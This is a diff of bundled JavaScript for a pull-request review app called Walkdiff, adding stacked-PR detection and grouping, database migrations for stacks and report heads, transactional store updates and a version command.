+ switch (result.kind) {
11002
+ case ApproveKind.NoStack:
11003
+ sendJson(response, 404, { error: "No such stack" });
11004
+ return;
11005
+ case ApproveKind.Blocked:
11006
+ sendJson(response, 409, {
11007
+ error: "Nothing was posted: some PRs aren't as you saw them.",
11008
+ blocked: result.blocked
11009
+ });
11010
+ return;
11011
+ case ApproveKind.Ready:
11012
+ sendJson(response, 200, { ready: result.checked.map(({ member }) => member.id) });
11013
+ return;
11014
+ case ApproveKind.Done: sendJson(response, 200, { results: result.results });
11015
+ }
11016
+ }
11017
+ /** Re-runs the members whose reports are out of date, leaving alone those already waiting or running. */
11018
+ function refreshChanged(view, context) {
11019
+ for (const member of view.members) {
11020
+ if (member.check !== MemberCheck.Checked || member.reportChange === ReportChange.None) continue;
11021
+ const status = context.store.get(member.reviewId)?.status;
11022
+ if (status !== ReviewStatus.Queued && status !== ReviewStatus.Analyzing) context.service.refresh(member.reviewId);
11023
+ }
11024
+ }
9667
11025
  async function settingsView(context) {
9668
11026
  return {
9669
11027
  settings: context.store.getSettings(),
@@ -9742,8 +11100,7 @@ async function submitReview(request, response, host) {
9742
11100
  sendJson(response, 400, { error: parsed.error.issues.at(0)?.message ?? "This review isn't valid" });
9743
11101
  return;
9744
11102
  }
9745
- const { pullRequest } = await host.fetchPullRequest();
9746
- if (pullRequest.headSha !== parsed.data.headSha) {
11103
+ if ((await host.fetchStatus()).headSha !== parsed.data.headSha) {
9747
11104
  sendJson(response, 409, { error: "This PR has new commits since this report was made. Nothing was posted. Refresh the review, and your comments will still be here." });
9748
11105
  return;
9749
11106
  }
@@ -9878,6 +11235,49 @@ function sendText(response, status, body) {
9878
11235
  });
9879
11236
  response.end(body);
9880
11237
  }
11238
+ // packages/cli/src/app/stacks.ts
11239
+ /** One row per PR, however its URL was pasted (`/files`, trailing slash, and so on). */
11240
+ function canonicalUrl(ref) {
11241
+ const path = ref.host === GitHostKind.GitHub ? "pull" : "-/merge_requests";
11242
+ return `${ref.webOrigin}/${repositoryPath(ref)}/${path}/${ref.number}`;
11243
+ }
11244
+ /**
11245
+ * The URL of another PR in the same repository. Stack members are only ever reached this way,
11246
+ * so whatever a host answers, the app and its token stay on the repository being reviewed.
11247
+ */
11248
+ function memberUrl(reviewed, number) {
11249
+ return canonicalUrl({
11250
+ ...reviewed,
11251
+ number
11252
+ });
11253
+ }
11254
+ /** What to offer for a detected stack: undefined when every member is grouped already or was turned down. */
11255
+ function stackOfferFor({ reviewed, detected, grouped, dismissed }) {
11256
+ const reviewedUrl = canonicalUrl(reviewed);
11257
+ const joining = detected.members.map((member) => member.number).filter((number) => !dismissed.has(number)).filter((number) => {
11258
+ const url = memberUrl(reviewed, number);
11259
+ return url !== reviewedUrl && !grouped.has(url);
11260
+ });
11261
+ return joining.length === 0 ? void 0 : {
11262
+ ...detected,
11263
+ joining
11264
+ };
11265
+ }
11266
+ /**
11267
+ * Orders a stack after a new detection: the detected members in the host's order, with members
11268
+ * it no longer lists, such as a merged bottom PR, kept just before the member that followed them.
11269
+ */
11270
+ function mergedOrder(previous, detected) {
11271
+ const order = [...detected];
11272
+ const inDetected = new Set(detected);
11273
+ for (let index = previous.length - 1; index >= 0; index--) {
11274
+ const url = previous[index];
11275
+ if (url === void 0 || inDetected.has(url) || order.includes(url)) continue;
11276
+ const next = previous.slice(index + 1).find((later) => order.includes(later));
11277
+ order.splice(next === void 0 ? order.length : order.indexOf(next), 0, url);
11278
+ }
11279
+ return order;
11280
+ }
9881
11281
  // packages/cli/src/app/reviewService.ts
9882
11282
  /**
9883
11283
  * Adds reviews and analyzes them one at a time. One at a time because analyses of the same
@@ -9886,15 +11286,17 @@ function sendText(response, status, body) {
9886
11286
  var ReviewService = class {
9887
11287
  #store;
9888
11288
  #generate;
11289
+ #findStack;
9889
11290
  #log;
9890
11291
  #waiting = [];
9891
11292
  /** Where each running analysis is. Only ever one entry while analyses run one at a time. */
9892
11293
  #steps = /* @__PURE__ */ new Map();
9893
11294
  #drained = Promise.resolve();
9894
11295
  #running = false;
9895
- constructor(store, generate, log) {
11296
+ constructor(store, { generate, findStack, log }) {
9896
11297
  this.#store = store;
9897
11298
  this.#generate = generate;
11299
+ this.#findStack = findStack;
9898
11300
  this.#log = log;
9899
11301
  }
9900
11302
  /**
@@ -9928,13 +11330,70 @@ var ReviewService = class {
9928
11330
  }
9929
11331
  return this.#store.get(id);
9930
11332
  }
9931
- /** The review list, with the step each running analysis is on. */
11333
+ /** The review list, with the step each running analysis is on and any stack to offer. */
9932
11334
  list() {
9933
- return this.#store.list().map((review) => ({
11335
+ const reviews = this.#store.list();
11336
+ const detections = this.#store.detections();
11337
+ const grouped = urlsByStack(reviews);
11338
+ return reviews.map((review) => ({
9934
11339
  ...review,
9935
- step: this.#steps.get(review.id) ?? null
11340
+ step: this.#steps.get(review.id) ?? null,
11341
+ stackOffer: offerOf(review, detections.get(review.id), grouped)
9936
11342
  }));
9937
11343
  }
11344
+ /** One review as the list shows it. Undefined if there is no such review. */
11345
+ summary(id) {
11346
+ return this.list().find((review) => review.id === id);
11347
+ }
11348
+ /**
11349
+ * Groups the review with every member of the stack found from it, adding those not on the list
11350
+ * yet with the AI choice made now. Members already on the list join without being analyzed
11351
+ * again. Does nothing more when there's no offer, so a second click is harmless. Undefined if
11352
+ * there is no such review.
11353
+ */
11354
+ acceptStack(id, request) {
11355
+ const review = this.summary(id);
11356
+ const offer = review?.stackOffer ?? null;
11357
+ if (review === void 0 || offer === null) return review;
11358
+ const reviewed = parsePullRequestUrl(review.url);
11359
+ const urls = offer.members.map((member) => memberUrl(reviewed, member.number));
11360
+ const stackId = review.stack?.id ?? urls.map((url) => this.#store.getByUrl(url)?.stack?.id).find((found) => found !== void 0) ?? this.#store.createStack(offer.trunk);
11361
+ for (const url of urls) if (this.#store.getByUrl(url) === void 0) this.add({
11362
+ url,
11363
+ ai: request.ai
11364
+ });
11365
+ const previous = this.#store.stackMembers(stackId).map((member) => member.url);
11366
+ this.#store.regroup(stackId, offer.trunk, mergedOrder(previous, urls));
11367
+ return this.summary(id);
11368
+ }
11369
+ /** "Not now": the members offered aren't offered again from this review. Undefined if there is no such review. */
11370
+ dismissStackOffer(id) {
11371
+ const offer = this.summary(id)?.stackOffer ?? null;
11372
+ if (offer !== null) this.#store.dismiss(id, offer.joining);
11373
+ return this.summary(id);
11374
+ }
11375
+ /**
11376
+ * Splits a stack back into single reviews. What each member found is turned down at the same
11377
+ * time, or every member would offer the stack straight back. False if there is no such stack.
11378
+ */
11379
+ ungroup(stackId) {
11380
+ if (this.#store.stack(stackId) === void 0) return false;
11381
+ for (const member of this.#store.stackMembers(stackId)) {
11382
+ const detection = this.#store.detectionOf(member.id);
11383
+ if (detection !== void 0) this.#store.dismiss(member.id, detection.stack.members.map(({ number }) => number));
11384
+ }
11385
+ this.#store.ungroup(stackId);
11386
+ return true;
11387
+ }
11388
+ /** Removes a review. Its stack doesn't offer it back: the reviewer just chose to drop it. */
11389
+ remove(id) {
11390
+ const review = this.#store.get(id);
11391
+ if (review?.stack != null) {
11392
+ const { number } = parsePullRequestUrl(review.url);
11393
+ for (const mate of this.#store.stackMembers(review.stack.id)) if (mate.id !== id) this.#store.dismiss(mate.id, [number]);
11394
+ }
11395
+ this.#store.remove(id);
11396
+ }
9938
11397
  /** Resolves once the queue is empty. */
9939
11398
  idle() {
9940
11399
  return this.#drained;
@@ -9954,9 +11413,11 @@ var ReviewService = class {
9954
11413
  const review = this.#store.get(id);
9955
11414
  if (review === void 0) return;
9956
11415
  this.#store.setStatus(id, ReviewStatus.Analyzing);
11416
+ const ref = parsePullRequestUrl(review.url);
11417
+ const detection = this.#detectStack(review, ref);
9957
11418
  try {
9958
11419
  const report = await this.#generate({
9959
- ref: parsePullRequestUrl(review.url),
11420
+ ref,
9960
11421
  ai: review.ai,
9961
11422
  attachedCoverage: this.#store.attachedCoverageOf(id),
9962
11423
  reportStep: (step) => this.#steps.set(id, step)
@@ -9969,12 +11430,36 @@ var ReviewService = class {
9969
11430
  } finally {
9970
11431
  this.#steps.delete(id);
9971
11432
  }
11433
+ await detection;
11434
+ }
11435
+ async #detectStack(review, ref) {
11436
+ try {
11437
+ const stack = await this.#findStack(ref);
11438
+ if (this.#store.get(review.id) !== void 0) this.#store.saveDetection(review.id, stack);
11439
+ } catch (error) {
11440
+ this.#log(`${review.displayName}: could not check whether it's part of a stack: ${error instanceof Error ? error.message : String(error)}`);
11441
+ }
9972
11442
  }
9973
11443
  };
9974
- /** One row per PR, however its URL was pasted (`/files`, trailing slash, and so on). */
9975
- function canonicalUrl(ref) {
9976
- const path = ref.host === "github" ? "pull" : "-/merge_requests";
9977
- return `${ref.webOrigin}/${repositoryPath(ref)}/${path}/${ref.number}`;
11444
+ function offerOf(review, detection, grouped) {
11445
+ if (detection === void 0) return null;
11446
+ const mates = review.stack === null ? void 0 : grouped.get(review.stack.id);
11447
+ return stackOfferFor({
11448
+ reviewed: parsePullRequestUrl(review.url),
11449
+ detected: detection.stack,
11450
+ grouped: mates ?? /* @__PURE__ */ new Set(),
11451
+ dismissed: detection.dismissed
11452
+ }) ?? null;
11453
+ }
11454
+ function urlsByStack(reviews) {
11455
+ const grouped = /* @__PURE__ */ new Map();
11456
+ for (const review of reviews) {
11457
+ if (review.stack === null) continue;
11458
+ const urls = grouped.get(review.stack.id) ?? /* @__PURE__ */ new Set();
11459
+ urls.add(review.url);
11460
+ grouped.set(review.stack.id, urls);
11461
+ }
11462
+ return grouped;
9978
11463
  }
9979
11464
  function summarize({ model, reportDir }) {
9980
11465
  const units = model.files.flatMap(changedUnitsOf);
@@ -9986,7 +11471,11 @@ function summarize({ model, reportDir }) {
9986
11471
  unitsToReview: units.filter((unit) => isBehaviourChange(unit.change)).length,
9987
11472
  untouchedReferences: units.reduce((sum, unit) => sum + untouchedReferences(unit).length, 0),
9988
11473
  findings: model.risk.findings.length,
9989
- coverageSource: model.testCoverage?.source ?? null
11474
+ coverageSource: model.testCoverage?.source ?? null,
11475
+ head: {
11476
+ headSha: model.pullRequest.headSha,
11477
+ baseRef: model.pullRequest.baseRef
11478
+ }
9990
11479
  };
9991
11480
  }
9992
11481
  // packages/cli/src/app/reviewStore.ts
@@ -10012,12 +11501,28 @@ const MIGRATIONS = [
10012
11501
  )`,
10013
11502
  `CREATE TABLE settings (id INTEGER PRIMARY KEY CHECK (id = 1), json TEXT NOT NULL)`,
10014
11503
  `ALTER TABLE reviews ADD COLUMN coverage_source TEXT`,
10015
- `ALTER TABLE reviews ADD COLUMN attached_coverage TEXT`
11504
+ `ALTER TABLE reviews ADD COLUMN attached_coverage TEXT`,
11505
+ `CREATE TABLE stacks (id INTEGER PRIMARY KEY, trunk TEXT NOT NULL, created_at TEXT NOT NULL)`,
11506
+ `ALTER TABLE reviews ADD COLUMN stack_id INTEGER REFERENCES stacks (id)`,
11507
+ `ALTER TABLE reviews ADD COLUMN stack_position INTEGER`,
11508
+ `ALTER TABLE reviews ADD COLUMN detected_stack TEXT`,
11509
+ `ALTER TABLE reviews ADD COLUMN dismissed_stack_members TEXT`,
11510
+ `ALTER TABLE reviews ADD COLUMN head_sha TEXT`,
11511
+ `ALTER TABLE reviews ADD COLUMN base_ref TEXT`
10016
11512
  ];
10017
11513
  const attachedCoverageSchema = z.object({
10018
11514
  headSha: z.string(),
10019
11515
  coverage: testCoverageSchema
10020
11516
  });
11517
+ const dismissedSchema = z.array(z.number().int().positive());
11518
+ const stackRowSchema = z.object({
11519
+ id: z.number(),
11520
+ trunk: z.string()
11521
+ });
11522
+ const countSchema = z.object({
11523
+ id: z.number(),
11524
+ members: z.number()
11525
+ });
10021
11526
  const settingsRowSchema = z.object({ json: z.string() });
10022
11527
  const INTERRUPTED_ERROR = "The app stopped during this analysis. Refresh to run it again.";
10023
11528
  const reviewRowSchema = z.object({
@@ -10037,6 +11542,12 @@ const reviewRowSchema = z.object({
10037
11542
  findings: z.number().nullable(),
10038
11543
  coverage_source: z.string().nullable(),
10039
11544
  attached_coverage: z.string().nullable(),
11545
+ stack_id: z.number().nullable(),
11546
+ stack_position: z.number().nullable(),
11547
+ detected_stack: z.string().nullable(),
11548
+ dismissed_stack_members: z.string().nullable(),
11549
+ head_sha: z.string().nullable(),
11550
+ base_ref: z.string().nullable(),
10040
11551
  created_at: z.string(),
10041
11552
  updated_at: z.string()
10042
11553
  });
@@ -10085,7 +11596,56 @@ var ReviewStore = class {
10085
11596
  }
10086
11597
  markReady(id, analysis) {
10087
11598
  this.#db.prepare(`UPDATE reviews SET status = ?, error = NULL, report_dir = ?, title = ?, author = ?, security_level = ?,
10088
- units_to_review = ?, untouched_references = ?, findings = ?, coverage_source = ?, updated_at = ? WHERE id = ?`).run(ReviewStatus.Ready, analysis.reportDir, analysis.title, analysis.author, analysis.securityLevel, analysis.unitsToReview, analysis.untouchedReferences, analysis.findings, analysis.coverageSource, this.#timestamp(), id);
11599
+ units_to_review = ?, untouched_references = ?, findings = ?, coverage_source = ?, head_sha = ?, base_ref = ?, updated_at = ? WHERE id = ?`).run(ReviewStatus.Ready, analysis.reportDir, analysis.title, analysis.author, analysis.securityLevel, analysis.unitsToReview, analysis.untouchedReferences, analysis.findings, analysis.coverageSource, analysis.head.headSha, analysis.head.baseRef, this.#timestamp(), id);
11600
+ }
11601
+ /** Records what the last detection found; undefined clears it, for a PR that now stands alone. */
11602
+ saveDetection(id, stack) {
11603
+ this.#db.prepare("UPDATE reviews SET detected_stack = ? WHERE id = ?").run(stack === void 0 ? null : JSON.stringify(stack), id);
11604
+ }
11605
+ /** Every review's last detection, by review id. */
11606
+ detections() {
11607
+ const rows = this.#db.prepare("SELECT * FROM reviews WHERE detected_stack IS NOT NULL").all().map((row) => reviewRowSchema.parse(row));
11608
+ return new Map(rows.flatMap((row) => {
11609
+ const detection = detectionOf(row);
11610
+ return detection === void 0 ? [] : [[row.id, detection]];
11611
+ }));
11612
+ }
11613
+ detectionOf(id) {
11614
+ const row = this.#parsedRow(id);
11615
+ return row === void 0 ? void 0 : detectionOf(row);
11616
+ }
11617
+ /** Adds to the members this review won't offer again. */
11618
+ dismiss(id, numbers) {
11619
+ const dismissed = /* @__PURE__ */ new Set([...dismissedOf(this.#parsedRow(id)), ...numbers]);
11620
+ this.#db.prepare("UPDATE reviews SET dismissed_stack_members = ? WHERE id = ?").run(JSON.stringify([...dismissed]), id);
11621
+ }
11622
+ createStack(trunk) {
11623
+ const { lastInsertRowid } = this.#db.prepare("INSERT INTO stacks (trunk, created_at) VALUES (?, ?)").run(trunk, this.#timestamp());
11624
+ return Number(lastInsertRowid);
11625
+ }
11626
+ stack(id) {
11627
+ const row = this.#db.prepare("SELECT id, trunk FROM stacks WHERE id = ?").get(id);
11628
+ return row === void 0 ? void 0 : stackRowSchema.parse(row);
11629
+ }
11630
+ /** Bottom first. */
11631
+ stackMembers(id) {
11632
+ return this.#db.prepare("SELECT * FROM reviews WHERE stack_id = ? ORDER BY stack_position, id").all(id).map(toSummary);
11633
+ }
11634
+ /** Makes the reviews with these URLs the stack's members, bottom first, from wherever they were before. */
11635
+ regroup(stackId, trunk, urls) {
11636
+ this.#inTransaction(() => {
11637
+ this.#db.prepare("UPDATE stacks SET trunk = ? WHERE id = ?").run(trunk, stackId);
11638
+ const place = this.#db.prepare("UPDATE reviews SET stack_id = ?, stack_position = ?, updated_at = ? WHERE url = ?");
11639
+ urls.forEach((url, index) => place.run(stackId, index + 1, this.#timestamp(), url));
11640
+ this.#dropLoneStacks();
11641
+ });
11642
+ }
11643
+ /** Keeps the reviews, ungrouped. */
11644
+ ungroup(stackId) {
11645
+ this.#inTransaction(() => {
11646
+ this.#db.prepare("UPDATE reviews SET stack_id = NULL, stack_position = NULL, updated_at = ? WHERE stack_id = ?").run(this.#timestamp(), stackId);
11647
+ this.#db.prepare("DELETE FROM stacks WHERE id = ?").run(stackId);
11648
+ });
10089
11649
  }
10090
11650
  /** Undefined when nothing is attached. */
10091
11651
  attachedCoverageOf(id) {
@@ -10099,7 +11659,10 @@ var ReviewStore = class {
10099
11659
  this.#db.prepare("UPDATE reviews SET status = ?, error = ?, updated_at = ? WHERE id = ?").run(ReviewStatus.Failed, error, this.#timestamp(), id);
10100
11660
  }
10101
11661
  remove(id) {
10102
- this.#db.prepare("DELETE FROM reviews WHERE id = ?").run(id);
11662
+ this.#inTransaction(() => {
11663
+ this.#db.prepare("DELETE FROM reviews WHERE id = ?").run(id);
11664
+ this.#dropLoneStacks();
11665
+ });
10103
11666
  }
10104
11667
  /** Analyses run in memory, so any still unfinished at startup were cut short by a restart. */
10105
11668
  markInterrupted() {
@@ -10126,6 +11689,26 @@ var ReviewStore = class {
10126
11689
  this.#db.exec(`PRAGMA user_version = ${version + index + 1}`);
10127
11690
  });
10128
11691
  }
11692
+ /** A stack of one is no longer a stack, as after its other members were removed or moved. */
11693
+ #dropLoneStacks() {
11694
+ const counts = this.#db.prepare("SELECT stacks.id AS id, COUNT(reviews.id) AS members FROM stacks LEFT JOIN reviews ON reviews.stack_id = stacks.id GROUP BY stacks.id").all();
11695
+ for (const { id, members } of counts.map((row) => countSchema.parse(row))) if (members < 2) this.ungroup(id);
11696
+ }
11697
+ /** Runs the statements together, so a failure part-way changes nothing. Nested calls join the outer one. */
11698
+ #inTransaction(act) {
11699
+ if (this.#db.isTransaction) {
11700
+ act();
11701
+ return;
11702
+ }
11703
+ this.#db.exec("BEGIN");
11704
+ try {
11705
+ act();
11706
+ this.#db.exec("COMMIT");
11707
+ } catch (error) {
11708
+ this.#db.exec("ROLLBACK");
11709
+ throw error;
11710
+ }
11711
+ }
10129
11712
  #row(id) {
10130
11713
  return this.#db.prepare("SELECT * FROM reviews WHERE id = ?").get(id);
10131
11714
  }
@@ -10144,6 +11727,7 @@ function toSummary(row) {
10144
11727
  url: parsed.url,
10145
11728
  host: parsed.host,
10146
11729
  displayName: parsed.display_name,
11730
+ number: parsePullRequestUrl(parsed.url).number,
10147
11731
  status: parsed.status,
10148
11732
  error: parsed.error,
10149
11733
  hasReport: parsed.report_dir !== null,
@@ -10155,10 +11739,31 @@ function toSummary(row) {
10155
11739
  untouchedReferences: parsed.untouched_references,
10156
11740
  findings: parsed.findings,
10157
11741
  coverageSource: parsed.coverage_source,
11742
+ reportHead: parsed.head_sha === null || parsed.base_ref === null ? null : {
11743
+ headSha: parsed.head_sha,
11744
+ baseRef: parsed.base_ref
11745
+ },
11746
+ stack: parsed.stack_id === null || parsed.stack_position === null ? null : {
11747
+ id: parsed.stack_id,
11748
+ position: parsed.stack_position
11749
+ },
10158
11750
  createdAt: parsed.created_at,
10159
11751
  updatedAt: parsed.updated_at
10160
11752
  });
10161
11753
  }
11754
+ /** Undefined when there is none, or when it was saved by a version that described stacks differently. */
11755
+ function detectionOf(row) {
11756
+ if (row.detected_stack === null) return void 0;
11757
+ const stack = pullRequestStackSchema.safeParse(JSON.parse(row.detected_stack));
11758
+ return stack.success ? {
11759
+ stack: stack.data,
11760
+ dismissed: dismissedOf(row)
11761
+ } : void 0;
11762
+ }
11763
+ function dismissedOf(row) {
11764
+ const json = row?.dismissed_stack_members ?? null;
11765
+ return new Set(json === null ? [] : dismissedSchema.parse(JSON.parse(json)));
11766
+ }
10162
11767
  // packages/cli/src/openBrowser.ts
10163
11768
  const WINDOWS_PLATFORM = "win32";
10164
11769
  const MAC_PLATFORM = "darwin";
@@ -10338,33 +11943,38 @@ async function runApp(options, deps) {
10338
11943
  await mkdir(dataDir, { recursive: true });
10339
11944
  const store = new ReviewStore(join(dataDir, DATABASE_FILE), deps.now);
10340
11945
  store.markInterrupted();
10341
- const server = await startAppServer(store, new ReviewService(store, async ({ ref, ai, attachedCoverage, reportStep }) => {
10342
- const settings = store.getSettings();
10343
- const model = await analyzePullRequest(ref, {
10344
- network: options.network,
10345
- coveragePath: void 0,
10346
- attachedCoverage,
10347
- ai: ai ? settings.ai : void 0,
10348
- disabledChecks: settings.disabledChecks
10349
- }, {
10350
- tokens: await hostTokensFor(ref, deps.env, runCommand),
10351
- cacheDir,
10352
- now: deps.now,
10353
- log: deps.log,
10354
- reportStep
10355
- });
10356
- const reportDir = defaultReportDir(cacheDir, ref);
10357
- await writeReport(model, reportDir);
10358
- return {
10359
- model,
10360
- reportDir
10361
- };
10362
- }, deps.log), {
11946
+ const hostFor = async (ref) => gitHostFor(ref, await hostTokensFor(ref, deps.env, runCommand));
11947
+ const server = await startAppServer(store, new ReviewService(store, {
11948
+ generate: async ({ ref, ai, attachedCoverage, reportStep }) => {
11949
+ const settings = store.getSettings();
11950
+ const model = await analyzePullRequest(ref, {
11951
+ network: options.network,
11952
+ coveragePath: void 0,
11953
+ attachedCoverage,
11954
+ ai: ai ? settings.ai : void 0,
11955
+ disabledChecks: settings.disabledChecks
11956
+ }, {
11957
+ tokens: await hostTokensFor(ref, deps.env, runCommand),
11958
+ cacheDir,
11959
+ now: deps.now,
11960
+ log: deps.log,
11961
+ reportStep
11962
+ });
11963
+ const reportDir = defaultReportDir(cacheDir, ref);
11964
+ await writeReport(model, reportDir);
11965
+ return {
11966
+ model,
11967
+ reportDir
11968
+ };
11969
+ },
11970
+ findStack: async (ref) => (await hostFor(ref)).fetchStack(),
11971
+ log: deps.log
11972
+ }), {
10363
11973
  port: options.port,
10364
11974
  log: deps.log,
10365
11975
  env: deps.env,
10366
11976
  offline: !options.network,
10367
- hostFor: async (ref) => gitHostFor(ref, await hostTokensFor(ref, deps.env, runCommand))
11977
+ hostFor
10368
11978
  });
10369
11979
  deps.log(`Walkdiff is running at ${server.url} (Ctrl+C to stop)`);
10370
11980
  if (options.open && canOpenBrowser(process.platform, deps.env)) openBrowser(server.url, deps.log);
@@ -10394,7 +12004,9 @@ const SECURITY_CHECKS = /* @__PURE__ */ new Set([
10394
12004
  "OSV database",
10395
12005
  "osv-scanner",
10396
12006
  "Dependency trust",
10397
- "zizmor"
12007
+ "zizmor",
12008
+ "poutine",
12009
+ "Ruff security rules"
10398
12010
  ]);
10399
12011
  const AlertKind = {
10400
12012
  Note: "NOTE",
@@ -10556,6 +12168,13 @@ async function runComment(options, deps) {
10556
12168
  deps.log(`Could not post the summary comment (this token may be read-only): ${error.message}`);
10557
12169
  }
10558
12170
  }
12171
+ // packages/cli/src/version.ts
12172
+ const MANIFEST_PATH = firstExisting([resolve(import.meta.dirname, "package.json"), resolve(import.meta.dirname, "../../../package.json")]);
12173
+ const manifestSchema = z.object({ version: z.string().min(1) });
12174
+ /** The running Walkdiff's version, read from its package.json. */
12175
+ function walkdiffVersion(manifestPath = MANIFEST_PATH) {
12176
+ return manifestSchema.parse(JSON.parse(readFileSync(manifestPath, "utf8"))).version;
12177
+ }
10559
12178
  // packages/cli/src/main.ts
10560
12179
  const EXIT_FAILURE = 1;
10561
12180
  const EXIT_USAGE = 2;
@@ -10568,6 +12187,9 @@ async function main(argv) {
10568
12187
  case "help":
10569
12188
  console.log(USAGE);
10570
12189
  return;
12190
+ case "version":
12191
+ console.log(`walkdiff ${walkdiffVersion()}`);
12192
+ return;
10571
12193
  case "setup":
10572
12194
  await installScannersHere((message) => console.error(message));
10573
12195
  console.error(`Scanners are ready in ${MANAGED_SCANNERS_ROOT}.`);
@@ -10607,6 +12229,15 @@ main(process.argv.slice(2)).catch((error) => {
10607
12229
  return;
10608
12230
  }
10609
12231
  console.error(error instanceof Error ? `${error.name}: ${error.message}` : String(error));
12232
+ console.error(versionLine());
10610
12233
  process.exitCode = EXIT_FAILURE;
10611
12234
  });
12235
+ /** Names the version in every failure, so a report of one says which Walkdiff it came from. */
12236
+ function versionLine() {
12237
+ try {
12238
+ return `(walkdiff ${walkdiffVersion()})`;
12239
+ } catch {
12240
+ return "(walkdiff, version unknown)";
12241
+ }
12242
+ }
10612
12243
  export {};